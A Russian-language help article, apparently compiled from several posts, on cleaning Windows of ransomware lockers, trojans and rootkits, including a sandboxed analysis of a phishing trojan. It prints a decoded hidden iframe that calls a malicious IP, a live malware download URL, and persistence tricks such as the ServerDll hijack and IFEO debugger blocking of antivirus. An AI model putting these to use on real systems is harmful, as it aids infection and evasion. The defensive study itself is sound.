Сейчас я расскажу, что делать если вирус уже попал в компьютер, и крепко там прижился!!!
Конечно же, никак не обойтись без антивирусной программы.
С последними, постоянно обновляемыми базами данных. Защиту от вирусов
вполне может обеспечить как платный, так и бесплатный антивирус. В любом
случае вы сами оцениваете важность стабильной работы и защиты данных на
вашем компьютере. Экономить на защите – не самый лучший вариант. Но если и антивирус не спасет то
вот некоторые из способов:
1) Включаете компьютер , после загрузки биоса нажимаете F8 пробуете зайти в безопасном режиме и удаляете вредоносную программу.
2) Можно просто взять жесткий диск и проверить его антивирусом на другом компьютере.
3)
Компании-производители систем защиты от вирусов также предлагают
проверять файлы непосредственно на их сайтах, это так называемые
онлайн-сканеры. Если у вас сомнения в отношении некоторых файлов на
вашем компьютере, проверить их можно еще раз, каждый по отдельности:
Онлайн-сканер Dr.Web
http://vms.drweb.com/online/
Kaspersky Online Scanner
http://www.kaspersky.ru/scanforviru
Как избавиться от вируса-вымогателя
Что делать, если вирус-вымогатель все-таки попал в ваш компьютер? Во-первых, не стоит паниковать. Несмотря на то, что вирусы-вымогатели стремительно эволюционируют, с ними всё-таки можно бороться. Нужно лишь взять себя в руки и предпринять ряд мер.Чтобы преуспеть в борьбе с вирусом-вымогателем, нужно сначала определить, какой именно гость навестил вас и ваш компьютер.
Вирусы, блокирующие доступ в интернет
. Если вы не можете выйти
в интернет или попасть на большинство сайтов и видите перед собой
баннер с требованием отправить платное SMS, скорее всего, вас посетил
один из этих вирусов: Trojan-Ransom.BAT.Agent.c или
Trojan-Ransom.Win32.Digitala (Get Accelerator, Digital Access, Get
Access, Download Manager v1.34, Ilite Net Accelerator).
Первый, как видно из названия, имеет расширение bat. Этот вирус меняет
файл Hosts, расположенный в корневом каталоге системного диска
(Windows-95/98/ME) или в папке WindowsSystem32driversetc (Windows
NT/2000/XP/Vista). Нужно открыть этот файл с помощью любого текстового
редактора и удалить все строки, кроме 127.0.0.1 localhost.
Затем провести полное сканирование компьютера антивирусом. После проверки перезагрузите компьютер. Проблема должна исчезнуть. Что же касается вирусов группы Trojan-Ransom.Win32.Digitala, то тут всё гораздо сложнее. Эти вредоносные программы могут маскироваться под легальное программное обеспечение. Они гораздо сложнее и умеют прятать себя. Итак, перед вами висит ненавистное окошко с требованием выкупа за восстановление работоспособности вашего компьютера. Пожалуй, первое что, можно попытаться сделать для избавления от вирусов, которые требуют введения кода активации через отправку смс – это попытаться узнать этот самый код. Для этого с помощью другого компьютера (в крайнем случае с мобильного телефона) нужно зайти на сайт одного из производителей антивирусного ПО (ссылки приведены ниже), на страницу с сервисом деактивации вирусов-вымогателей:
Сервис деактивации вымогателей-блокеров Лаборатории Касперского
http://support.kaspersky.ru/viruses/deblockerТехподдержка ESET NOD32: Разблокировка Windows
http://www.esetnod32.ru/.support/winlock/Dr.Web: Разблокировка Windows от Trojan.Winlock
http://www.drweb.com/unlocker/Нужно лишь заполнить несколько полей, и система выдаст вам код, с помощью которого вы сможете разблокировать работу своего компьютера. Если предоставленный вам числовой код помог, и компьютер вновь заработал, не стоит останавливаться на достигнутом! Скорее всего, что где-то внутри операционной системы остались следы вредного вируса. Они могут дать знать о себе немного позже частыми сбоями работы, а возможно, и повторной блокировкой.
Если код разблокировки не помог, можно попробовать вылечить ваш компьютер при помощи утилиты Digita_Cure (продукт Лаборатории Касперского), специально предназначенной для лечения вирусов-вымогателей группы Trojan-Ransom.Win32.Digitala, или программы CureIt (продукт Dr.Web), которая обнаруживает и другие виды вирусов. Их можно скачать бесплатно на сайтах этих лабораторий:
Утилита Digita_Cure
Ссылка для скачивания: http://www.kaspersky.ru/support/downloads/utils/digita_cure.zip
Утилита CureIt
Ссылка для скачивания: http://www.freedrweb.com/download+cureit/gr/
После скачивания, включаем компьютер с помощью безопасного режима.
Затем необходимо будет запустить флешку или диск с утилитой Digita_Cure (или CureIt) и провести полную проверку компьютера.
После лечения компьютер нужно будет перезагрузить в обычном режиме. Вирус-вымогатели после этой процедуры должен быть удален.
Вы, наверно, неоднократно встречали информацию в СМИ о том, что появился новый страшный вирус, который может привести к новой страшной эпидемии и чуть ли не к концу Интернета. Или, что появилась новая технология вирусописания, основанная на использовании младших битов пикселей графических изображений, и тело вируса практически невозможно обнаружить. Или... много еще чего страшненького. Иногда вирусы наделяют чуть ли не разумом и самосознанием. Происходит это от того, что многие пользователи, запутавшись в сложной классификации и подробностях механизма функционирования вирусов, забывают, что в первую очередь, любой вирус - это компьютерная программа, т.е. набор процессорных команд (инструкций), оформленных определенным образом. Неважно, в каком виде существует этот набор (исполняемый файл, скрипт, часть загрузочного сектора или группы секторов вне файловой системы) - гораздо важнее, чтобы эта программа не смогла получить управление, т.е. начать выполняться. Записанный на ваш жесткий диск, но не запустившийся вирус, также безобиден, как и любой другой файл. Главная задача в борьбе с вирусами - не обнаружить тело вируса, а предотвратить возможность его запуска. Поэтому грамотные производители вирусов постоянно совершенствуют не только технологии занесения вредоносного программного обеспечения в систему, но и способы скрытного запуска и функционирования.
Как происходит заражение компьютера вредоносным программным обеспечением (вирусом)? Ответ очевиден - должна быть запущена какая-то программа. Идеально - с административными правами, желательно - без ведома пользователя и незаметно для него. Способы запуска постоянно совершенствуются и основаны, не только на прямом обмане, но и на особенностях или недостатках операционной системы или прикладного программного обеспечения. Например, использование возможности автозапуска для сменных носителей в среде операционных систем семейства Windows привело к распространению вирусов на флэш-дисках. Функции автозапуска обычно вызываются со сменного носителя или из общих сетевых папок. При автозапуске обрабатывается файл Autorun.inf . Этот файл определяет, какие команды выполняет система. Многие компании используют эту функцию для запуска инсталляторов своих программных продуктов, однако, ее же, стали использовать и производители вирусов. В результате, об автозапуске, как некотором удобстве при работе за компьютером, можно забыть. - большинство грамотных пользователей данную опцию отключили навсегда.
Для отключения функций автозапуска в Windows XP/2000 reg-файл для импорта в реестр.
Для Windows 7 и более поздних отключение автозапуска можно выполнить с использованием апплета "Автозапуск" панели управления. В этом случае отключение действует по отношению к текущему пользователю. Более надежным способом защиты от внедрения вирусов, переносимых на съемных устройствах, является блокировка автозапуска для всех пользователей с помощью групповых политик:
Но основным "поставщиком" вирусов, несомненно, является Интернет и, как основное прикладное программное обеспечение - "Обозреватель Интернета" (браузер). Сайты становятся все сложнее и красивее, появляются новые мультимедийные возможности, растут социальные сети, постоянно увеличивается количество серверов и растет число их посетителей. Обозреватель Интернета постепенно превращается в сложный программный комплекс - интерпретатор данных, полученных извне. Другими словами, - в программный комплекс, выполняющий программы на основании неизвестного содержимого. Разработчики обозревателей (браузеров) постоянно работают над повышением безопасности своих продуктов, однако производители вирусов тоже не стоят на месте, и вероятность заражения системы вредоносным ПО остается довольно высокой. Существует мнение, что если не посещать "сайты для взрослых", сайты с серийными номерами программных продуктов и т.п. то можно избежать заражения. Это не совсем так. В Интернете немало взломанных сайтов, владельцы которых даже не подозревают о взломе. И давно прошли те времена, когда взломщики тешили свое самолюбие подменой страниц (дефейсом). Сейчас подобный взлом обычно сопровождается внедрением в страницы вполне добропорядочного сайта, специального кода для заражения компьютера посетителя. Кроме того, производители вирусов используют наиболее популярные поисковые запросы для отображения зараженных страниц в результатах выдачи поисковых систем. Особенно популярны запросы с фразами "скачать бесплатно" и " скачать без регистрации и SMS". Старайтесь не использовать эти слова в поисковых запросах, иначе, риск получения ссылки на вредоносные сайты значительно возрастает. Особенно, если вы ищете популярный фильм, еще не вышедший в прокат или последний концерт известнейшей группы.
Механизм заражения компьютера посетителя сайта, в упрощенном виде, я попробую объяснить на примере. Не так давно, при посещении одного, довольно популярного сайта, я получил уведомление программы мониторинга автозапуска (PT Startup Monitor) о том, что приложение rsvc.exe пытается выполнить запись в реестр. Приложение было благополучно прибито FAR"ом, а изменения в реестре отменены PT Startup Monitor"ом. Анализ страниц сайта показал наличие странного кода на языке Javascript, выполняющего операции по преобразованию строковых данных, не являющихся осмысленным текстом. Язык Javascript поддерживается большинством современных браузеров и используется практически на всех веб-страницах. Сценарий, загружаемый с таких страниц, выполняется обозревателем Интернета. В результате многочисленных преобразований упомянутых выше строк получался довольно простой код:
iframe src="http://91.142.64.91/ts/in.cgi?rut4" width=1 height=1 style="visibility: hidden"
Означающий выполнение CGI-сценария сервера с IP - адресом 91.142.64.91 (не имеющего никакого отношения к посещаемому сайту) в отдельном окне (тег iframe) размером 1 пиксель по ширине и 1 пиксель по высоте, в невидимом окне. Результат - вполне вероятное вирусное заражение. Особенно, если нет антивируса или он не среагирует на угрозу. Данный пример скрытого перенаправления посетителя на вредоносный сайт с использованием тега "iframe" сегодня, наверно, не очень актуален, но вполне демонстрирует как, посещая легальный сайт, можно незаметно для себя побывать и на другом, не очень легальном, даже не подозревая об этом. К сожалению, абсолютной гарантии от вирусного заражения нет и нужно быть готовым к тому, что с вирусом придется справляться собственными силами.
В последнее время, одним из основных направлений развития вредоносных программ стало применение в них всевозможных способов защиты от обнаружения антивирусными средствами - так называемые руткит (rootkit) - технологии. Такие программы часто или не обнаруживаются антивирусами или не удаляются ими. В этой статье я попытаюсь описать более или менее универсальную методику обнаружения и удаления вредоносного программного обеспечения из зараженной системы.
Удаление "качественного" вируса, становится все более нетривиальной задачей, поскольку такой вирус разработчики снабжают свойствами, максимально усложняющими ее решение. Нередко вирус может работать в режиме ядра (kernel mode) и имеет неограниченные возможности по перехвату и модификации системных функций. Другими словами - вирус имеет возможность скрыть от пользователя (и антивируса) свои файлы, ключи реестра, сетевые соединения, - все, что может быть признаком его наличия в зараженной системе. Он может обойти любой брандмауэр, системы обнаружения вторжения и анализаторы протоколов. И, кроме всего прочего, он может работать и в безопасном режиме загрузки Windows. Иными словами, современную вредоносную программу очень непросто обнаружить и обезвредить.
Развитие антивирусов тоже не стоит на месте, - они постоянно совершенствуются, и в большинстве случаев, смогут обнаружить и обезвредить вредоносное ПО, но рано или поздно, найдется модификация вируса, которая какое-то время будет "не по зубам" любому антивирусу. Поэтому самостоятельное обнаружение и удаление вируса - это работа, которую рано или поздно придется выполнять любому пользователю компьютера.
Здравствуйте.
Нас заинтересовала ваша кандидатура, однако предлагаем вам заполнить
наш фирменный бланк резюме и отправить его по адресу [email protected]
Ответ не гарантируется, однако если Ваше резюме нас заинтересует, мы
позвоним Вам в течение нескольких дней. Не забудьте
указать телефон, а также позицию, на которую Вы претендуете. Желательно
также указать пожелания по окладу.
Наш фирменный бланк вы можете скачать по нижеуказанной ссылке.
http://verano-konwektor.pl/resume.exe
Анализ заголовков письма показал, что оно было отправлено с компьютера в Бразилии через сервер, находящийся в США. А фирменный бланк предлагается скачать с сервера в Польше. И это с русскоязычным-то содержанием.
Ясное дело, что никакого фирменного бланка вы не увидите, и скорее всего,
получите
троянскую программу на свой компьютер.
Скачиваю файл resume.exe. Размер - 159744 байта. Пока не запускаю.
Копирую
файл на другие компьютеры, где установлены различные антивирусы - просто для
очередной проверки их эффективности. Результаты не ахти - антивирус Avast 4.8
Home Edition деликатно промолчал. Подсунул его Symantec"у - та же реакция.
Сработал только AVG 7.5 Free Edition. Похоже, этот антивирус, в самом деле,
не зря набирает популярность.
Все эксперименты выполняю на виртуальной машине с операционной системой
Windows XP. Учетная запись с правами администратора, поскольку, чаще всего
вирусы успешно внедряются в систему только, если пользователь является
локальным администратором.
Запускаю. Через какое-то время зараженный файл исчез, похоже, вирус начал
свое черное дело.
Поведение системы внешне не изменилось. Очевидно, нужна перезагрузка.
На всякий случай, запрещаю в брандмауэре соединения по протоколу TCP.
Оставляю разрешенными только исходящие соединения по UDP:53 (DNS) - надо же
оставить вирусу хоть какую-то возможность проявить свою активность.
Как правило, после внедрения, вирус должен связаться с хозяином или с заданным
сервером в интернете, признаком чего будут DNS-запросы. Хотя, опять же, в свете
сказанного выше, умный вирус может их замаскировать, кроме того, он может и
обойти брандмауэр. Забегая вперед, скажу, что в данном конкретном случае этого
не произошло, но для надежного анализа сетевой активности весь трафик
зараженной машины лучше пустить через другую, незараженную, где можно быть
уверенным, что правила брандмауэра выполняются, а анализатор трафика (я
пользовался Wireshark"ом) выдает то, что есть на самом деле.
Перезагружаюсь.
Внешне ничего не изменилось, кроме того, что невозможно выйти в интернет,
поскольку я сам отключил такую возможность. Ни в путях автозапуска, ни в
службах, ни в системных каталогах не появилось ничего нового.
Просмотр системного журнала дает только одну наводку - системе не удалось
запустить таинственную службу grande48
. Такой службы у меня быть не
могло, да и по времени это событие совпало с моментом внедрения.
Что еще наводит на мысль об успешном внедрении - так это отсутствие в реестре
записи о службе grande48 и отсутствие второго сообщения в журнале системы об
ошибке запуска службы после перезагрузки. Это, скорее всего, некоторая
недоработка вирусописателей. Хотя и несущественная, ведь большинство
пользователей журнал событий не просматривают, да и на момент возникновения
подозрения на заражение эта запись в журнале уже может и отсутствовать.
Определяем наличие вируса в системе.
1. Наверняка должен быть "левый" трафик. Определить можно с помощью анализаторов протокола. Я использовал Wireshark. Сразу после загрузки первым запускаю его. Все правильно, есть наличие группы DNS-запросов (как потом оказалось - один раз за 5 минут) на определение IP-адресов узлов ysiqiyp.com, irgfqfyu.com, updpqpqr.com и т.п. Вообще-то все ОС Windows любят выходить в сеть, когда надо и не надо, антивирусы могут обновлять свои базы, поэтому определить принадлежность трафика именно вирусу довольно затруднительно. Обычно требуется пропустить трафик через незараженную машину и серьезно проанализировать его содержимое. Но это отдельная тема. В принципе, косвенным признаком ненормальности сетевой активности системы могут быть значительные значения счетчиков трафика провайдера, в условиях простоя системы, счетчики из свойств VPN-соединения и т.п.
2. Попробуем использовать программы для поиска руткитов. Сейчас таких программ уже немало и их несложно найти в сети. Одна из наиболее популярных - Марка Руссиновича, которую можно скачать на странице раздела Windows Sysinternals сайта Microsoft. Инсталляция не требуется. Разархивируем и запускаем. Жмем "Scan". После непродолжительного сканирования видим результаты:
Кстати, даже не вникая в содержания строк, можно сразу заметить,
что имеются очень "свежие" по времени создания/модификации записи или файлы
(колонка "Timestamp")
. Нас в первую очередь должны заинтересовать файлы
с
описанием (колонка "Description"
) - "Hidden from Windows API"
- скрыто
от API-интерфейса Windows. Скрытие файлов, записей в реестре, приложений - это,
естественно, ненормально.
Два файла - grande48.sys
и
Yoy46.sys
- это как раз то, что мы
ищем. Это и есть
прописавшийся под видом драйверов искомый руткит или его часть, обеспечивающая
скрытность. Наличие в списке остальных было для меня сюрпризом. Проверка показала -
это
нормальные драйверы Windows XP. Кроме того, вирус скрывал их
наличие только в папке \system32
, а их копии
в \system32\dllcache
остались
видимыми.
Напомню, что в Windows XP применяется специальный механизм защиты системных
файлов, называемый Windows File Protection (WFP)
. Задача WFP - автоматическое
восстановление важных системных файлов при их удалении или замене устаревшими
или неподписанными копиями. Все системные файлы Windows XP имеют цифровую
подпись и перечислены в специальной базе данных, используемой WFP. Для хранения
копий файлов используется папка \system32\dllcache
и, отчасти, \Windows\driver cache
. При удалении
или замене одного из системных файлов, WFP автоматически копирует "правильную"
его копию из папки \dllcache. Если указанный файл отсутствует в папке \dllcache ,
то Windows XP просит вставить в привод компакт-дисков установочный компакт-диск Windows XP.
Попробуйте удалить vga.sys из \system32, и система тут же его восстановит,
используя копию из dllcache. А ситуация, когда, при работающей системе
восстановления файлов, файл драйвера есть в \dllcache и его не видно в
\system32 - это тоже дополнительный признак наличия руткита в системе.
Удаляем вирус из системы.
Осталось выполнить самое важное действие - удалить вирус. Самый простой и надежный способ - загрузиться в другой, незараженной операционной системе и запретить старт драйверов руткита.
Воспользуемся стандартной консолью восстановления Windows. Берем установочный диск Windows XP и загружаемся с него. На первом экране выбираем 2-й пункт меню - жмем R.
Выбираем систему (если их несколько):
Вводим пароль администратора.
Список драйверов и служб можно просмотреть с помощью команды listsvc:
В самом деле, в списке присутствует Yoy46 , правда отсутствует grande48, что говорит о том, что файл драйвера grande48.sys скрытно присутствует в системе, но не загружается:
Консоль восстановления позволяет запрещать или разрешать запуск драйверов и служб с помощью команд disable и enable . Запрещаем старт Yoy46 командой:
Водим команду EXIT и система уходит на перезагрузку.
После перезагрузки драйвер руткита не будет загружен, что позволит легко удалить его
файлы и очистить реестр от его записей.
Можно проделать это вручную, а можно
использовать какой-нибудь антивирус. Наиболее эффективным, с моей точки зрения,
будет бесплатный сканер на основе всем известного антивируса Dr.Web Игоря
Данилова. Скачать можно отсюда -
http://freedrweb.ru
Там же можно скачать "Dr.Web LiveCD" - образ диска, который позволяет
восстановить работоспособность системы, пораженной действиями вирусов,
на рабочих станциях и серверах под управлением Windows\Unix, скопировать
важную информацию на сменные носители либо другой компьютер, если действия
вредоносных программ сделали невозможным загрузку компьютера.
Dr.Web LiveCD поможет не только очистить компьютер от инфицированных и
подозрительных файлов, но и попытается вылечить зараженные объекты.
Для удаления вируса нужно скачать с сайта DrWeb образ (файл с расширением.iso)
и записать его на CD. Будет создан загрузочный диск, загрузившись с которого,
руководствуетесь простым и понятным меню.
Если по каким-либо причинам, нет возможности воспользоваться Dr.Web LiveCD,
можно попробовать антивирусный сканер Dr.Web CureIt!, который можно запустить,
загрузившись в другой ОС, например, с использованием
Winternals ERD Commander. Для сканирования зараженной системы необходимо
указать именно ее жесткий диск (Режим "Выборочная проверка").
Сканер поможет вам найти файлы вируса, и вам останется лишь
удалить связанные с ним записи из реестра.
Поскольку вирусы научились прописываться на запуск в безопасном режиме
загрузки, не мешает проверить ветку реестра:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\SafeBoot
Разделы:
Minimal
- список драйверов и служб запускаемых в безопасном режиме
(Safe Mode)
Network
- то же, но с поддержкой сети.
Добавлю, что существует новый класс rootkit, представителем которого является BackDoor.MaosBoot , появившийся в конце 2007г. Эта троянская программа прописывает себя в загрузочный сектор жесткого диска и обеспечивает скрытую установку своего драйвера в памяти. Сам Rootkit-драйвер напрямую записан в последние секторы физического диска, минуя файловую систему, чем и скрывает свое присутствие на диске. В общем-то, принцип не новый, лет десять назад вредоносные программы подобным образом маскировались на резервных дорожках дискет и жестких дисков, однако оказался очень эффективным, поскольку большинство антивирусов с задачей удаления BackDoor.MaosBoot до сих пор не справляются. Упоминаемый выше загрузочный сектор не проверяет, а секторы в конце диска для него никак не связаны с файловой системой и, естественно, такой руткит он не обнаружит. Правда, Dr.Web (а, следовательно, и Cureit) с BackDoor.MaosBoot вполне справляется.
Если у вас возникли сомнения относительно какого-либо файла, то можно
воспользоваться бесплатной онлайновой антивирусной службой
virustotal.com .
Через специальную форму на главной странице сайта закачиваете подозрительный
файл и ждете результатов. Сервисом virustotal используются консольные версии
множества антивирусов для проверки вашего подозреваемого файла.
Результаты выводятся на экран. Если файл является вредоносным, то с большой
долей вероятности, вы сможете это определить. В какой-то степени сервис
можно использовать для выбора "лучшего антивируса".
ссылка на одну из веток форума сайта virusinfo.info, где пользователи выкладывают
ссылки на различные ресурсы посвященные антивирусной защите, в т.ч. и онлайн - проверок
компьютера, браузера, файлов...
Иногда, в результате некорректных действий вируса (или антивируса) система вообще перестает загружаться. Приведу характерный пример. Вредоносные программы пытаются внедриться в систему, используя различные, в том числе, довольно необычные способы. В процессе начальной загрузки, еще до регистрации пользователя, запускается "Диспетчер сеансов" (\SystemRoot\System32\smss.exe) , задача которого - запустить высокоуровневые подсистемы и сервисы (службы) операционной системы. На этом этапе запускаются процессы CSRSS (Client Server Runtime Process), WINLOGON (Windows Logon), LSASS (LSA shell), и оставшиеся службы с параметром Start=2 из раздела реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services
Информация, предназначенная для диспетчера сеансов, находится в ключе реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager
Одним из способов внедрения в систему, является подмена dll-файла для CSRSS. Если вы посмотрите содержимое записи
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\SubSystems
То найдете значения
ServerDll=basesrv , ServerDll=winsrv . Библиотеки basesrv.dll и winsrv.dll - это "правильные" файлы системы, загружаемые службой CSRSS на обычной (незараженной) системе. Эту запись в реестре можно подправить на запись, обеспечивающую загрузку, например, вместо basesrv.dll, вредоносной basepvllk32.dll:
ServerDll=basepvllk32 (или какую либо другую dll, отличную от basesrv и winsrv)
Что обеспечит, при следующей перезагрузке, получение управления вредоносной программе. Если же ваш антивирус обнаружит и удалит внедренную basepvllk32, оставив нетронутой запись в реестре, то загрузка системы завершится "синим экраном смерти" (BSOD) с ошибкой STOP c000135 и сообщением о невозможности загрузить basepvllk32.
Поправить ситуацию можно так:
Загрузится в консоль восстановления (или в любой другой системе), и
скопировать файл basesrv.dll из папки C:\WINDOWS\system32 в ту же папку
под именем basepvllk32.dll. После чего система загрузится и можно будет
вручную подправить запись в реестре.
- загрузиться с использованием Winternals ERD Commander и исправить запись в
реестре на ServerDll=basesrv
. Или выполнить откат системы с
использованием точки восстановления.
Еще один характерный пример. Вредоносная программ регистрируется
как отладчик процесса explorer.exe, создавая в реестре запись типа:
"Debugger"="C:\Program Files\Microsoft Common\wuauclt.exe"
Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к
невозможности запуска explorer.exe. В результате вы получаете пустой рабочий
стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию
клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите
и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.
В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"
== Май 2008. ==
Дополнение
Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.
После удаления вируса ни один антивирус не работает.
Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения
анализа результатов проверки системы за счет отметки легитимных объектов
цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:
Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.
Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Раздела с именем avz.exe
, содержащем строковый параметр с именем
"Debugger"
и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел
"avz.exe", но и разделы с именами исполняемых модулей практически всех
известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe -
вполне легальный отладчик Windows, стандартно присутствующий во всех версиях
ОС, но подобная запись в реестре приводит к невозможности запуска приложения,
имя исполняемого файла которого совпадает с именем раздела???.exe.
После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.
В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:
Windows Registry Editor Version 5.00
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.
Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).
Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.
Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.
Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.
Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore
. Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".
Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:
Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги
\Windows
\Windows\system32
\Windows\system32\drivers
\Windows\Tasks\
\RECYCLER
\System Volume Information
Каталоги пользователей \Documents And Settings\All Users
и
\Documents And Settings\имя пользователя
Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)
Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.
Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.
Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:
Autoruns
- информация о параметрах запуска приложений и оболочке пользователя.
Service and Driver Manager
- информация о службах и драйверах системы.
Этим вопросом в настоящее время интересуются не только опытные пользователи сети интернет, а также и новички, которые, чаще всего, даже не представляют последствий заражения вирусом компьютера .
Ну, для того, чтобы хоть как-то восполнить пробелы некоторых читателей, для начала, , дадим определение компьютерного вируса.
Итак, что же такое компьютерный вирус? Какие разновидности вирусов существуют в данный момент в сети?
Компьютерный вирус это разновидность вредоносного программного софта, имеющая способность клонировать самого себя, а также внедряться в другие программы, имеющиеся на компьютере, системные папки памяти, загрузочные отсеки.
А также способствующие распространению своих копий по разнообразным каналам интернет-связи, для того, чтобы нарушить работу программно-аппаратных комплексов, способствующие удалению файлов, их порче, а также нарушение структур расположения на них данных, приводящего к значительным сбоям в работе пользователей или же выведение из строя компьютера.
Даже если автор, создавший вирус, не программировал наличие вредоносных эффектов, вирус может стать причиной сбоев компьютера по причине наличия ошибок, неучтённых нюансов во взаимодействии с операционной системой, а также другими программами. Помимо этого, вирусы занимают значительное количество места на накопителях информации и содействуют отбиранию некоторых других ресурсов системы.
Именно по этой причине вирусы следует отнести к разряду вредоносным программам.
Какие же вирусы существуют на данный момент?
В этой части статьи остановимся на классификации вирусов.
Помимо этих вирусов существуют такие объекты, как почтовые вирусы , баннерные вирусы , а также знаменитые троянские черви.
Что делать если в компьютер попал вирус?
1. Не паниковать . Постараться разобраться, в чем причина сбоев в работе.
2. Просканировать компьютер через антивирусник. Это поможет не только обнаружить вирус , но и удалить его. Однако имейте в виду, что в настоящее время не изобретено уникальной антивирусной защиты, именно по этой причине, будьте осторожны со своими накопителями и контролируйте посещаемые сайты. На них тоже могут быть вирусы.
